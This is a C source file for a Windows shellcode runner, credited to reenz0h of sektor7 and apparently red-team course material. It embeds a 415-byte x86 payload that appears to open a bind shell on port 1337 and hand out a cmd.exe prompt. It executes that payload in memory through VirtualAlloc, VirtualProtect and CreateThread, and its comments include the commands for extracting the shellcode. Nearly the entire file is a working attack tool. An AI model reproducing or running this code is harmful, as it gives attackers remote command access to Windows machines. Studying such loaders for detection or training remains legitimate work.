runner.c

/*

 Shellcode runner author: reenz0h (twitter: @sektor7net)

*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// nasm -f win32 shellcode.asm -o shellcode.o
// objdump -D ./shellcode.o |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'


unsigned char payload[] = 
		"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b"
		"\x76\x1c\x8b\x5e\x08\x8b\x7e\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06"
		"\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03"
		"\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b"
		"\x45\xfc\x8b\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca"
		"\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75\xdf\x8b\x57\x24\x01\xda\x66\x8b"
		"\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61\xc3"
		"\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x10\x68\x8e\x4e\x0e\xec\xff\x55"
		"\x04\x89\x45\x14\x68\x72\xfe\xb3\x16\xff\x55\x04\x89\x45\x18\x31\xc0\x66"
		"\xb8\x6c\x6c\x50\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\x55\x14"
		"\x89\xc3\x68\xcb\xed\xfc\x3b\xff\x55\x04\x89\x45\x1c\x68\xd9\x09\xf5\xad"
		"\xff\x55\x04\x89\x45\x20\x68\xa4\x1a\x70\xc7\xff\x55\x04\x89\x45\x24\x68"
		"\xa4\xad\x2e\xe9\xff\x55\x04\x89\x45\x28\x68\x76\x79\x5b\x9f\xff\x55\x04"
		"\x89\x45\x32\x68\xe5\x49\x86\x49\xff\x55\x04\x89\x45\x36\x89\xe0\x66\xb9"
		"\x90\x05\x29\xc8\x50\x31\xc0\x66\xb8\x02\x02\x50\xff\x55\x1c\x31\xc0\x50"
		"\x50\x50\xb0\x06\x50\x2c\x05\x50\x40\x50\xff\x55\x20\x89\xc6\x31\xc0\x50"
		"\x66\xb8\x05\x39\xc1\xe0\x10\x66\x83\xc0\x02\x50\x54\x5f\x31\xc0\x04\x16"
		"\x50\x57\x56\xff\x55\x24\xff\x55\x32\x31\xc0\x50\x56\xff\x55\x28\x31\xc0"
		"\x50\x50\x56\xff\x55\x36\x89\xc6\x56\x56\x56\x31\xc0\x50\x50\xb0\x80\x31"
		"\xc9\xb1\x80\x01\xc8\x50\x31\xc0\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50"
		"\xb0\x44\x50\x54\x5f\xb8\x9b\x87\x9a\xff\xf7\xd8\x50\x68\x63\x6d\x64\x2e"
		"\x54\x5b\x89\xe0\x31\xc9\x66\xb9\x90\x03\x29\xc8\x50\x57\x31\xc0\x50\x50"
		"\x50\x40\x50\x48\x50\x50\x53\x50\xff\x55\x18\x31\xc0\x50\x6a\xff\xff\x55"
		"\x04";

unsigned int payload_len = 415;

int main(void) {

	void * exec_mem;
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
	
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	RtlMoveMemory(exec_mem, payload, payload_len);
	
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	printf("Shellcode Length:  %d\n", strlen(payload));
	
	if ( rv != 0 ) {
		th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
		WaitForSingleObject(th, -1);
		
	}

	return 0;
}